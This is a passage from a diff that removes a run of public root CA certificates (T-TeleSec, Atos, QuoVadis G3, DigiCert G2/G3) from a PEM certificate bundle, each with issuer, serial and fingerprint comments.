-wa19hAM8EHiGG3njxPPyBJUgriOCxLM6AGK/5jYk4Ve6xx6QddVfP5VhK8E7zeWz
-aGHQRiapIVJpLesux+t3zqY6tQMzT3bR51xUAV3LePTJDL/PEo4XLSNolOer/qmy
-KwbQBM0=
------END CERTIFICATE-----
-
-# Issuer: CN=T-TeleSec GlobalRoot Class 2 O=T-Systems Enterprise Services GmbH OU=T-Systems Trust Center
-# Subject: CN=T-TeleSec GlobalRoot Class 2 O=T-Systems Enterprise Services GmbH OU=T-Systems Trust Center
-# Label: "T-TeleSec GlobalRoot Class 2"
-# Serial: 1
-# MD5 Fingerprint: 2b:9b:9e:e4:7b:6c:1f:00:72:1a:cc:c1:77:79:df:6a
-# SHA1 Fingerprint: 59:0d:2d:7d:88:4f:40:2e:61:7e:a5:62:32:17:65:cf:17:d8:94:e9
-# SHA256 Fingerprint: 91:e2:f5:78:8d:58:10:eb:a7:ba:58:73:7d:e1:54:8a:8e:ca:cd:01:45:98:bc:0b:14:3e:04:1b:17:05:25:52
------BEGIN CERTIFICATE-----
-MIIDwzCCAqugAwIBAgIBATANBgkqhkiG9w0BAQsFADCBgjELMAkGA1UEBhMCREUx
-KzApBgNVBAoMIlQtU3lzdGVtcyBFbnRlcnByaXNlIFNlcnZpY2VzIEdtYkgxHzAd
-BgNVBAsMFlQtU3lzdGVtcyBUcnVzdCBDZW50ZXIxJTAjBgNVBAMMHFQtVGVsZVNl
-YyBHbG9iYWxSb290IENsYXNzIDIwHhcNMDgxMDAxMTA0MDE0WhcNMzMxMDAxMjM1
-OTU5WjCBgjELMAkGA1UEBhMCREUxKzApBgNVBAoMIlQtU3lzdGVtcyBFbnRlcnBy
-aXNlIFNlcnZpY2VzIEdtYkgxHzAdBgNVBAsMFlQtU3lzdGVtcyBUcnVzdCBDZW50
-ZXIxJTAjBgNVBAMMHFQtVGVsZVNlYyBHbG9iYWxSb290IENsYXNzIDIwggEiMA0G
-CSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCqX9obX+hzkeXaXPSi5kfl82hVYAUd
-AqSzm1nzHoqvNK38DcLZSBnuaY/JIPwhqgcZ7bBcrGXHX+0CfHt8LRvWurmAwhiC
-FoT6ZrAIxlQjgeTNuUk/9k9uN0goOA/FvudocP05l03Sx5iRUKrERLMjfTlH6VJi
-1hKTXrcxlkIF+3anHqP1wvzpesVsqXFP6st4vGCvx9702cu+fjOlbpSD8DT6Iavq
-jnKgP6TeMFvvhk1qlVtDRKgQFRzlAVfFmPHmBiiRqiDFt1MmUUOyCxGVWOHAD3bZ
-wI18gfNycJ5v/hqO2V81xrJvNHy+SE/iWjnX2J14np+GPgNeGYtEotXHAgMBAAGj
-QjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBS/
-WSA2AHmgoCJrjNXyYdK4LMuCSjANBgkqhkiG9w0BAQsFAAOCAQEAMQOiYQsfdOhy
-NsZt+U2e+iKo4YFWz827n+qrkRk4r6p8FU3ztqONpfSO9kSpp+ghla0+AGIWiPAC
-uvxhI+YzmzB6azZie60EI4RYZeLbK4rnJVM3YlNfvNoBYimipidx5joifsFvHZVw
-IEoHNN/q/xWA5brXethbdXwFeilHfkCoMRN3zUA7tFFHei4R40cR3p1m0IvVVGb6
-g1XqfMIpiRvpb7PO4gWEyS8+eIVibslfwXhjdFjASBgMmTnrpMwatXlajRWc2BQN
-9noHV8cigwUtPJslJj0Ys6lDfMjIq2SPDqO/nBudMNva0Bkuqjzx+zOAduTNrRlP
-BSeOE6Fuwg==
------END CERTIFICATE-----
-
-# Issuer: CN=Atos TrustedRoot 2011 O=Atos
-# Subject: CN=Atos TrustedRoot 2011 O=Atos
-# Label: "Atos TrustedRoot 2011"
-# Serial: 6643877497813316402
-# MD5 Fingerprint: ae:b9:c4:32:4b:ac:7f:5d:66:cc:77:94:bb:2a:77:56
-# SHA1 Fingerprint: 2b:b1:f5:3e:55:0c:1d:c5:f1:d4:e6:b7:6a:46:4b:55:06:02:ac:21
-# SHA256 Fingerprint: f3:56:be:a2:44:b7:a9:1e:b3:5d:53:ca:9a:d7:86:4a:ce:01:8e:2d:35:d5:f8:f9:6d:df:68:a6:f4:1a:a4:74
------BEGIN CERTIFICATE-----
-MIIDdzCCAl+gAwIBAgIIXDPLYixfszIwDQYJKoZIhvcNAQELBQAwPDEeMBwGA1UE
-AwwVQXRvcyBUcnVzdGVkUm9vdCAyMDExMQ0wCwYDVQQKDARBdG9zMQswCQYDVQQG
-EwJERTAeFw0xMTA3MDcxNDU4MzBaFw0zMDEyMzEyMzU5NTlaMDwxHjAcBgNVBAMM
-FUF0b3MgVHJ1c3RlZFJvb3QgMjAxMTENMAsGA1UECgwEQXRvczELMAkGA1UEBhMC
-REUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCVhTuXbyo7LjvPpvMp
-Nb7PGKw+qtn4TaA+Gke5vJrf8v7MPkfoepbCJI419KkM/IL9bcFyYie96mvr54rM
-VD6QUM+A1JX76LWC1BTFtqlVJVfbsVD2sGBkWXppzwO3bw2+yj5vdHLqqjAqc2K+
-SZFhyBH+DgMq92og3AIVDV4VavzjgsG1xZ1kCWyjWZgHJ8cblithdHFsQ/H3NYkQ
-4J7sVaE3IqKHBAUsR320HLliKWYoyrfhk/WklAOZuXCFteZI6o1Q/NnezG8HDt0L
-cp2AMBYHlT8oDv3FdU9T1nSatCQujgKRz3bFmx5VdJx4IbHwLfELn8LVlhgf8FQi
-eowHAgMBAAGjfTB7MB0GA1UdDgQWBBSnpQaxLKYJYO7Rl+lwrrw7GWzbITAPBgNV
-HRMBAf8EBTADAQH/MB8GA1UdIwQYMBaAFKelBrEspglg7tGX6XCuvDsZbNshMBgG
-A1UdIAQRMA8wDQYLKwYBBAGwLQMEAQEwDgYDVR0PAQH/BAQDAgGGMA0GCSqGSIb3
-DQEBCwUAA4IBAQAmdzTblEiGKkGdLD4GkGDEjKwLVLgfuXvTBznk+j57sj1O7Z8j
-vZfza1zv7v1Apt+hk6EKhqzvINB5Ab149xnYJDE0BAGmuhWawyfc2E8PzBhj/5kP
-DpFrdRbhIfzYJsdHt6bPWHJxfrrhTZVHO8mvbaG0weyJ9rQPOLXiZNwlz6bb65pc
-maHFCN795trV1lpFDMS3wrUU77QR/w4VtfX128a961qn8FYiqTxlVMYVqL2Gns2D
-lmh6cYGJ4Qvh6hEbaAjMaZ7snkGeRDImeuKHCnE96+RapNLbxc3G3mB/ufNPRJLv
-KrcYPqcZ2Qt9sTdBQrC6YB3y/gkRsPCHe6ed
------END CERTIFICATE-----
-
-# Issuer: CN=QuoVadis Root CA 1 G3 O=QuoVadis Limited
-# Subject: CN=QuoVadis Root CA 1 G3 O=QuoVadis Limited
-# Label: "QuoVadis Root CA 1 G3"
-# Serial: 687049649626669250736271037606554624078720034195
-# MD5 Fingerprint: a4:bc:5b:3f:fe:37:9a:fa:64:f0:e2:fa:05:3d:0b:ab
-# SHA1 Fingerprint: 1b:8e:ea:57:96:29:1a:c9:39:ea:b8:0a:81:1a:73:73:c0:93:79:67
-# SHA256 Fingerprint: 8a:86:6f:d1:b2:76:b5:7e:57:8e:92:1c:65:82:8a:2b:ed:58:e9:f2:f2:88:05:41:34:b7:f1:f4:bf:c9:cc:74
------BEGIN CERTIFICATE-----
-MIIFYDCCA0igAwIBAgIUeFhfLq0sGUvjNwc1NBMotZbUZZMwDQYJKoZIhvcNAQEL
-BQAwSDELMAkGA1UEBhMCQk0xGTAXBgNVBAoTEFF1b1ZhZGlzIExpbWl0ZWQxHjAc
-BgNVBAMTFVF1b1ZhZGlzIFJvb3QgQ0EgMSBHMzAeFw0xMjAxMTIxNzI3NDRaFw00
-MjAxMTIxNzI3NDRaMEgxCzAJBgNVBAYTAkJNMRkwFwYDVQQKExBRdW9WYWRpcyBM
-aW1pdGVkMR4wHAYDVQQDExVRdW9WYWRpcyBSb290IENBIDEgRzMwggIiMA0GCSqG
-SIb3DQEBAQUAA4ICDwAwggIKAoICAQCgvlAQjunybEC0BJyFuTHK3C3kEakEPBtV
-wedYMB0ktMPvhd6MLOHBPd+C5k+tR4ds7FtJwUrVu4/sh6x/gpqG7D0DmVIB0jWe
-rNrwU8lmPNSsAgHaJNM7qAJGr6Qc4/hzWHa39g6QDbXwz8z6+cZM5cOGMAqNF341
-68Xfuw6cwI2H44g4hWf6Pser4BOcBRiYz5P1sZK0/CPTz9XEJ0ngnjybCKOLXSoh
-4Pw5qlPafX7PGglTvF0FBM+hSo+LdoINofjSxxR3W5A2B4GbPgb6Ul5jxaYA/qXp
-UhtStZI5cgMJYr2wYBZupt0lwgNm3fME0UDiTouG9G/lg6AnhF4EwfWQvTA9xO+o
-abw4m6SkltFi2mnAAZauy8RRNOoMqv8hjlmPSlzkYZqn0ukqeI1RPToV7qJZjqlc
-3sX5kCLliEVx3ZGZbHqfPT2YfF72vhZooF6uCyP8Wg+qInYtyaEQHeTTRCOQiJ/G
-KubX9ZqzWB4vMIkIG1SitZgj7Ah3HJVdYdHLiZxfokqRmu8hqkkWCKi9YSgxyXSt
-hfbZxbGL0eUQMk1fiyA6PEkfM4VZDdvLCXVDaXP7a3F98N/ETH3Goy7IlXnLc6KO
-Tk0k+17kBL5yG6YnLUlamXrXXAkgt3+UuU/xDRxeiEIbEbfnkduebPRq34wGmAOt
-zCjvpUfzUwIDAQABo0IwQDAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIB
-BjAdBgNVHQ4EFgQUo5fW816iEOGrRZ88F2Q87gFwnMwwDQYJKoZIhvcNAQELBQAD
-ggIBABj6W3X8PnrHX3fHyt/PX8MSxEBd1DKquGrX1RUVRpgjpeaQWxiZTOOtQqOC
-MTaIzen7xASWSIsBx40Bz1szBpZGZnQdT+3Btrm0DWHMY37XLneMlhwqI2hrhVd2
-cDMT/uFPpiN3GPoajOi9ZcnPP/TJF9zrx7zABC4tRi9pZsMbj/7sPtPKlL92CiUN
-qXsCHKnQO18LwIE6PWThv6ctTr1NxNgpxiIY0MWscgKCP6o6ojoilzHdCGPDdRS5
-YCgtW2jgFqlmgiNR9etT2DGbe+m3nUvriBbP+V04ikkwj+3x6xn0dxoxGE1nVGwv
-b2X52z3sIexe9PSLymBlVNFxZPT5pqOBMzYzcfCkeF9OrYMh3jRJjehZrJ3ydlo2
-8hP0r+AJx2EqbPfgna67hkooby7utHnNkDPDs3b69fBsnQGQ+p6Q9pxyz0fawx/k
-NSBT8lTR32GDpgLiJTjehTItXnOQUl1CxM49S+H5GYQd1aJQzEH7QRTDvdbJWqNj
-ZgKAvQU6O0ec7AAmTPWIUb+oI38YB7AL7YsmoWTTYUrrXJ/es69nA7Mf3W1daWhp
-q1467HxpvMc7hU6eFbm0FU/DlXpY18ls6Wy58yljXrQs8C097Vpl4KlbQMJImYFt
-nh8GKjwStIsPm6Ik8KaN1nrgS7ZklmOVhMJKzRwuJIczYOXD
------END CERTIFICATE-----
-
-# Issuer: CN=QuoVadis Root CA 2 G3 O=QuoVadis Limited
-# Subject: CN=QuoVadis Root CA 2 G3 O=QuoVadis Limited
-# Label: "QuoVadis Root CA 2 G3"
-# Serial: 390156079458959257446133169266079962026824725800
-# MD5 Fingerprint: af:0c:86:6e:bf:40:2d:7f:0b:3e:12:50:ba:12:3d:06
-# SHA1 Fingerprint: 09:3c:61:f3:8b:8b:dc:7d:55:df:75:38:02:05:00:e1:25:f5:c8:36
-# SHA256 Fingerprint: 8f:e4:fb:0a:f9:3a:4d:0d:67:db:0b:eb:b2:3e:37:c7:1b:f3:25:dc:bc:dd:24:0e:a0:4d:af:58:b4:7e:18:40
------BEGIN CERTIFICATE-----
-MIIFYDCCA0igAwIBAgIURFc0JFuBiZs18s64KztbpybwdSgwDQYJKoZIhvcNAQEL
-BQAwSDELMAkGA1UEBhMCQk0xGTAXBgNVBAoTEFF1b1ZhZGlzIExpbWl0ZWQxHjAc
-BgNVBAMTFVF1b1ZhZGlzIFJvb3QgQ0EgMiBHMzAeFw0xMjAxMTIxODU5MzJaFw00
-MjAxMTIxODU5MzJaMEgxCzAJBgNVBAYTAkJNMRkwFwYDVQQKExBRdW9WYWRpcyBM
-aW1pdGVkMR4wHAYDVQQDExVRdW9WYWRpcyBSb290IENBIDIgRzMwggIiMA0GCSqG
-SIb3DQEBAQUAA4ICDwAwggIKAoICAQChriWyARjcV4g/Ruv5r+LrI3HimtFhZiFf
-qq8nUeVuGxbULX1QsFN3vXg6YOJkApt8hpvWGo6t/x8Vf9WVHhLL5hSEBMHfNrMW
-n4rjyduYNM7YMxcoRvynyfDStNVNCXJJ+fKH46nafaF9a7I6JaltUkSs+L5u+9ym
-c5GQYaYDFCDy54ejiK2toIz/pgslUiXnFgHVy7g1gQyjO/Dh4fxaXc6AcW34Sas+
-O7q414AB+6XrW7PFXmAqMaCvN+ggOp+oMiwMzAkd056OXbxMmO7FGmh77FOm6RQ1
-o9/NgJ8MSPsc9PG/Srj61YxxSscfrf5BmrODXfKEVu+lV0POKa2Mq1W/xPtbAd0j
-IaFYAI7D0GoT7RPjEiuA3GfmlbLNHiJuKvhB1PLKFAeNilUSxmn1uIZoL1NesNKq
-IcGY5jDjZ1XHm26sGahVpkUG0CM62+tlXSoREfA7T8pt9DTEceT/AFr2XK4jYIVz
-8eQQsSWu1ZK7E8EM4DnatDlXtas1qnIhO4M15zHfeiFuuDIIfR0ykRVKYnLP43eh
-vNURG3YBZwjgQQvD6xVu+KQZ2aKrr+InUlYrAoosFCT5v0ICvybIxo/gbjh9Uy3l
-7ZizlWNof/k19N+IxWA1ksB8aRxhlRbQ694Lrz4EEEVlWFA4r0jyWbYW8jwNkALG
-cC4BrTwV1wIDAQABo0IwQDAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIB
-BjAdBgNVHQ4EFgQU7edvdlq/YOxJW8ald7tyFnGbxD0wDQYJKoZIhvcNAQELBQAD
-ggIBAJHfgD9DCX5xwvfrs4iP4VGyvD11+ShdyLyZm3tdquXK4Qr36LLTn91nMX66
-AarHakE7kNQIXLJgapDwyM4DYvmL7ftuKtwGTTwpD4kWilhMSA/ohGHqPHKmd+RC
-roijQ1h5fq7KpVMNqT1wvSAZYaRsOPxDMuHBR//47PERIjKWnML2W2mWeyAMQ0Ga
-W/ZZGYjeVYg3UQt4XAoeo0L9x52ID8DyeAIkVJOviYeIyUqAHerQbj5hLja7NQ4n
-lv1mNDthcnPxFlxHBlRJAHpYErAK74X9sbgzdWqTHBLmYF5vHX/JHyPLhGGfHoJE
-+V+tYlUkmlKY7VHnoX6XOuYvHxHaU4AshZ6rNRDbIl9qxV6XU/IyAgkwo1jwDQHV
-csaxfGl7w/U2Rcxhbl5MlMVerugOXou/983g7aEOGzPuVBj+D77vfoRrQ+NwmNtd
-dbINWQeFFSM51vHfqSYP1kjHs6Yi9TM3WpVHn3u6GBVv/9YUZINJ0gpnIdsPNWNg
-KCLjsZWDzYWm3S8P52dSbrsvhXz1SnPnxT7AvSESBT/8twNJAlvIJebiVDj1eYeM
-HVOyToV7BjjHLPj4sHKNJeV3UvQDHEimUF+IIDBu8oJDqz2XhOdT+yHBTw8imoa4
-WSr2Rz0ZiC3oheGe7IUIarFsNMkd7EgrO3jtZsSOeWmD3n+M
------END CERTIFICATE-----
-
-# Issuer: CN=QuoVadis Root CA 3 G3 O=QuoVadis Limited
-# Subject: CN=QuoVadis Root CA 3 G3 O=QuoVadis Limited
-# Label: "QuoVadis Root CA 3 G3"
-# Serial: 268090761170461462463995952157327242137089239581
-# MD5 Fingerprint: df:7d:b9:ad:54:6f:68:a1:df:89:57:03:97:43:b0:d7
-# SHA1 Fingerprint: 48:12:bd:92:3c:a8:c4:39:06:e7:30:6d:27:96:e6:a4:cf:22:2e:7d
-# SHA256 Fingerprint: 88:ef:81:de:20:2e:b0:18:45:2e:43:f8:64:72:5c:ea:5f:bd:1f:c2:d9:d2:05:73:07:09:c5:d8:b8:69:0f:46
------BEGIN CERTIFICATE-----
-MIIFYDCCA0igAwIBAgIULvWbAiin23r/1aOp7r0DoM8Sah0wDQYJKoZIhvcNAQEL
-BQAwSDELMAkGA1UEBhMCQk0xGTAXBgNVBAoTEFF1b1ZhZGlzIExpbWl0ZWQxHjAc
-BgNVBAMTFVF1b1ZhZGlzIFJvb3QgQ0EgMyBHMzAeFw0xMjAxMTIyMDI2MzJaFw00
-MjAxMTIyMDI2MzJaMEgxCzAJBgNVBAYTAkJNMRkwFwYDVQQKExBRdW9WYWRpcyBM
-aW1pdGVkMR4wHAYDVQQDExVRdW9WYWRpcyBSb290IENBIDMgRzMwggIiMA0GCSqG
-SIb3DQEBAQUAA4ICDwAwggIKAoICAQCzyw4QZ47qFJenMioKVjZ/aEzHs286IxSR
-/xl/pcqs7rN2nXrpixurazHb+gtTTK/FpRp5PIpM/6zfJd5O2YIyC0TeytuMrKNu
-FoM7pmRLMon7FhY4futD4tN0SsJiCnMK3UmzV9KwCoWdcTzeo8vAMvMBOSBDGzXR
-U7Ox7sWTaYI+FrUoRqHe6okJ7UO4BUaKhvVZR74bbwEhELn9qdIoyhA5CcoTNs+c
-ra1AdHkrAj80//ogaX3T7mH1urPnMNA3I4ZyYUUpSFlob3emLoG+B01vr87ERROR
-FHAGjx+f+IdpsQ7vw4kZ6+ocYfx6bIrc1gMLnia6Et3UVDmrJqMz6nWB2i3ND0/k
-A9HvFZcba5DFApCTZgIhsUfei5pKgLlVj7WiL8DWM2fafsSntARE60f75li59wzw
-eyuxwHApw0BiLTtIadwjPEjrewl5qW3aqDCYz4ByA4imW0aucnl8CAMhZa634Ryl
-sSqiMd5mBPfAdOhx3v89WcyWJhKLhZVXGqtrdQtEPREoPHtht+KPZ0/l7DxMYIBp
-VzgeAVuNVejH38DMdyM0SXV89pgR6y3e7UEuFAUCf+D+IOs15xGsIs5XPd7JMG0Q
-A4XN8f+MFrXBsj6IbGB/kE+V9/YtrQE5BwT6dYB9v0lQ7e/JxHwc64B+27bQ3RP+
-ydOc17KXqQIDAQABo0IwQDAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIB
-BjAdBgNVHQ4EFgQUxhfQvKjqAkPyGwaZXSuQILnXnOQwDQYJKoZIhvcNAQELBQAD
-ggIBADRh2Va1EodVTd2jNTFGu6QHcrxfYWLopfsLN7E8trP6KZ1/AvWkyaiTt3px
-KGmPc+FSkNrVvjrlt3ZqVoAh313m6Tqe5T72omnHKgqwGEfcIHB9UqM+WXzBusnI
-FUBhynLWcKzSt/Ac5IYp8M7vaGPQtSCKFWGafoaYtMnCdvvMujAWzKNhxnQT5Wvv
-oxXqA/4Ti2Tk08HS6IT7SdEQTXlm66r99I0xHnAUrdzeZxNMgRVhvLfZkXdxGYFg
-u/BYpbWcC/ePIlUnwEsBbTuZDdQdm2NnL9DuDcpmvJRPpq3t/O5jrFc/ZSXPsoaP
-0Aj/uHYUbt7lJ+yreLVTubY/6CD50qi+YUbKh4yE8/nxoGibIh6BJpsQBJFxwAYf
-3KDTuVan45gtf4Od34wrnDKOMpTwATwiKp9Dwi7DmDkHOHv8XgBCH/MyJnmDhPbl
-8MFREsALHgQjDFSlTC9JxUrRtm5gDWv8a4uFJGS3iQ6rJUdbPM9+Sb3H6QrG2vd+
-DhcI00iX0HGS8A85PjRqHH3Y8iKuu2n0M7SmSFXRDw4m6Oy2Cy2nhTXN/VnIn9HN
-PlopNLk9hM6xZdRZkZFWdSHBd575euFgndOtBBj0fOtek49TSiIp+EgrPk2GrFt/
-ywaZWWDYWGWVjUTR939+J399roD1B0y2PpxxVJkES/1Y+Zj0
------END CERTIFICATE-----
-
-# Issuer: CN=DigiCert Assured ID Root G2 O=DigiCert Inc OU=www.digicert.com
-# Subject: CN=DigiCert Assured ID Root G2 O=DigiCert Inc OU=www.digicert.com
-# Label: "DigiCert Assured ID Root G2"
-# Serial: 15385348160840213938643033620894905419
-# MD5 Fingerprint: 92:38:b9:f8:63:24:82:65:2c:57:33:e6:fe:81:8f:9d
-# SHA1 Fingerprint: a1:4b:48:d9:43:ee:0a:0e:40:90:4f:3c:e0:a4:c0:91:93:51:5d:3f
-# SHA256 Fingerprint: 7d:05:eb:b6:82:33:9f:8c:94:51:ee:09:4e:eb:fe:fa:79:53:a1:14:ed:b2:f4:49:49:45:2f:ab:7d:2f:c1:85
------BEGIN CERTIFICATE-----
-MIIDljCCAn6gAwIBAgIQC5McOtY5Z+pnI7/Dr5r0SzANBgkqhkiG9w0BAQsFADBl
-MQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3
-d3cuZGlnaWNlcnQuY29tMSQwIgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJv
-b3QgRzIwHhcNMTMwODAxMTIwMDAwWhcNMzgwMTE1MTIwMDAwWjBlMQswCQYDVQQG
-EwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNl
-cnQuY29tMSQwIgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgRzIwggEi
-MA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDZ5ygvUj82ckmIkzTz+GoeMVSA
-n61UQbVH35ao1K+ALbkKz3X9iaV9JPrjIgwrvJUXCzO/GU1BBpAAvQxNEP4Htecc
-biJVMWWXvdMX0h5i89vqbFCMP4QMls+3ywPgym2hFEwbid3tALBSfK+RbLE4E9Hp
-EgjAALAcKxHad3A2m67OeYfcgnDmCXRwVWmvo2ifv922ebPynXApVfSr/5Vh88lA
-bx3RvpO704gqu52/clpWcTs/1PPRCv4o76Pu2ZmvA9OPYLfykqGxvYmJHzDNw6Yu
-YjOuFgJ3RFrngQo8p0Quebg/BLxcoIfhG69Rjs3sLPr4/m3wOnyqi+RnlTGNAgMB
-AAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgGGMB0GA1UdDgQW
-BBTOw0q5mVXyuNtgv6l+vVa1lzan1jANBgkqhkiG9w0BAQsFAAOCAQEAyqVVjOPI
-QW5pJ6d1Ee88hjZv0p3GeDgdaZaikmkuOGybfQTUiaWxMTeKySHMq2zNixya1r9I
-0jJmwYrA8y8678Dj1JGG0VDjA9tzd29KOVPt3ibHtX2vK0LRdWLjSisCx1BL4Gni
-lmwORGYQRI+tBev4eaymG+g3NJ1TyWGqolKvSnAWhsI6yLETcDbYz+70CjTVW0z9
-B5yiutkBclzzTcHdDrEcDcRjvq30FPuJ7KJBDkzMyFdA0G4Dqs0MjomZmWzwPDCv
-ON9vvKO+KSAnq3T/EyJ43pdSVR6DtVQgA+6uwE9W3jfMw3+qBCe703e4YtsXfJwo
-IhNzbM8m9Yop5w==
------END CERTIFICATE-----
-
-# Issuer: CN=DigiCert Assured ID Root G3 O=DigiCert Inc OU=www.digicert.com
-# Subject: CN=DigiCert Assured ID Root G3 O=DigiCert Inc OU=www.digicert.com
-# Label: "DigiCert Assured ID Root G3"
-# Serial: 15459312981008553731928384953135426796
-# MD5 Fingerprint: 7c:7f:65:31:0c:81:df:8d:ba:3e:99:e2:5c:ad:6e:fb
-# SHA1 Fingerprint: f5:17:a2:4f:9a:48:c6:c9:f8:a2:00:26:9f:dc:0f:48:2c:ab:30:89
-# SHA256 Fingerprint: 7e:37:cb:8b:4c:47:09:0c:ab:36:55:1b:a6:f4:5d:b8:40:68:0f:ba:16:6a:95:2d:b1:00:71:7f:43:05:3f:c2
------BEGIN CERTIFICATE-----
-MIICRjCCAc2gAwIBAgIQC6Fa+h3foLVJRK/NJKBs7DAKBggqhkjOPQQDAzBlMQsw
-CQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cu
-ZGlnaWNlcnQuY29tMSQwIgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3Qg
-RzMwHhcNMTMwODAxMTIwMDAwWhcNMzgwMTE1MTIwMDAwWjBlMQswCQYDVQQGEwJV
-UzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQu
-Y29tMSQwIgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgRzMwdjAQBgcq
-hkjOPQIBBgUrgQQAIgNiAAQZ57ysRGXtzbg/WPuNsVepRC0FFfLvC/8QdJ+1YlJf
-Zn4f5dwbRXkLzMZTCp2NXQLZqVneAlr2lSoOjThKiknGvMYDOAdfVdp+CW7if17Q
-RSAPWXYQ1qAk8C3eNvJsKTmjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/
-BAQDAgGGMB0GA1UdDgQWBBTL0L2p4ZgFUaFNN6KDec6NHSrkhDAKBggqhkjOPQQD
-AwNnADBkAjAlpIFFAmsSS3V0T8gj43DydXLefInwz5FyYZ5eEJJZVrmDxxDnOOlY
-JjZ91eQ0hjkCMHw2U/Aw5WJjOpnitqM7mzT6HtoQknFekROn3aRukswy1vUhZscv
-6pZjamVFkpUBtA==
------END CERTIFICATE-----
-
-# Issuer: CN=DigiCert Global Root G2 O=DigiCert Inc OU=www.digicert.com
-# Subject: CN=DigiCert Global Root G2 O=DigiCert Inc OU=www.digicert.com
-# Label: "DigiCert Global Root G2"
-# Serial: 4293743540046975378534879503202253541
-# MD5 Fingerprint: e4:a6:8a:c8:54:ac:52:42:46:0a:fd:72:48:1b:2a:44
-# SHA1 Fingerprint: df:3c:24:f9:bf:d6:66:76:1b:26:80:73:fe:06:d1:cc:8d:4f:82:a4
-# SHA256 Fingerprint: cb:3c:cb:b7:60:31:e5:e0:13:8f:8d:d3:9a:23:f9:de:47:ff:c3:5e:43:c1:14:4c:ea:27:d4:6a:5a:b1:cb:5f
------BEGIN CERTIFICATE-----
-MIIDjjCCAnagAwIBAgIQAzrx5qcRqaC7KGSxHQn65TANBgkqhkiG9w0BAQsFADBh
-MQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3
-d3cuZGlnaWNlcnQuY29tMSAwHgYDVQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBH
-MjAeFw0xMzA4MDExMjAwMDBaFw0zODAxMTUxMjAwMDBaMGExCzAJBgNVBAYTAlVT
-MRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5j
-b20xIDAeBgNVBAMTF0RpZ2lDZXJ0IEdsb2JhbCBSb290IEcyMIIBIjANBgkqhkiG
-9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuzfNNNx7a8myaJCtSnX/RrohCgiN9RlUyfuI
-2/Ou8jqJkTx65qsGGmvPrC3oXgkkRLpimn7Wo6h+4FR1IAWsULecYxpsMNzaHxmx
-1x7e/dfgy5SDN67sH0NO3Xss0r0upS/kqbitOtSZpLYl6ZtrAGCSYP9PIUkY92eQ
-q2EGnI/yuum06ZIya7XzV+hdG82MHauVBJVJ8zUtluNJbd134/tJS7SsVQepj5Wz
-tCO7TG1F8PapspUwtP1MVYwnSlcUfIKdzXOS0xZKBgyMUNGPHgm+F6HmIcr9g+UQ
-vIOlCsRnKPZzFBQ9RnbDhxSJITRNrw9FDKZJobq7nMWxM4MphQIDAQABo0IwQDAP
-BgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBhjAdBgNVHQ4EFgQUTiJUIBiV
-5uNu5g/6+rkS7QYXjzkwDQYJKoZIhvcNAQELBQADggEBAGBnKJRvDkhj6zHd6mcY
-1Yl9PMWLSn/pvtsrF9+wX3N3KjITOYFnQoQj8kVnNeyIv/iPsGEMNKSuIEyExtv4
-NeF22d+mQrvHRAiGfzZ0JFrabA0UWTW98kndth/Jsw1HKj2ZL7tcu7XUIOGZX1NG
-Fdtom/DzMNU+MeKNhJ7jitralj41E6Vf8PlwUHBHQRFXGU7Aj64GxJUTFy8bJZ91
-8rGOmaFvE7FBcf6IKshPECBV1/MUReXgRPTqh5Uykw7+U0b6LJ3/iyK5S9kJRaTe
-pLiaWN0bfVKfjllDiIGknibVb63dDcY3fe0Dkhvld1927jyNxF1WW6LZZm6zNTfl
-MrY=
------END CERTIFICATE-----
-
-# Issuer: CN=DigiCert Global Root G3 O=DigiCert Inc OU=www.digicert.com
-# Subject: CN=DigiCert Global Root G3 O=DigiCert Inc OU=www.digicert.com
-# Label: "DigiCert Global Root G3"
-# Serial: 7089244469030293291760083333884364146
-# MD5 Fingerprint: f5:5d:a4:50:a5:fb:28:7e:1e:0f:0d:cc:96:57:56:ca
-# SHA1 Fingerprint: 7e:04:de:89:6a:3e:66:6d:00:e6:87:d3:3f:fa:d9:3b:e8:3d:34:9e
-# SHA256 Fingerprint: 31:ad:66:48:f8:10:41:38:c7:38:f3:9e:a4:32:01:33:39:3e:3a:18:cc:02:29:6e:f9:7c:2a:c9:ef:67:31:d0
------BEGIN CERTIFICATE-----
-MIICPzCCAcWgAwIBAgIQBVVWvPJepDU1w6QP1atFcjAKBggqhkjOPQQDAzBhMQsw
-CQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cu
-ZGlnaWNlcnQuY29tMSAwHgYDVQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBHMzAe
-Fw0xMzA4MDExMjAwMDBaFw0zODAxMTUxMjAwMDBaMGExCzAJBgNVBAYTAlVTMRUw
-EwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20x
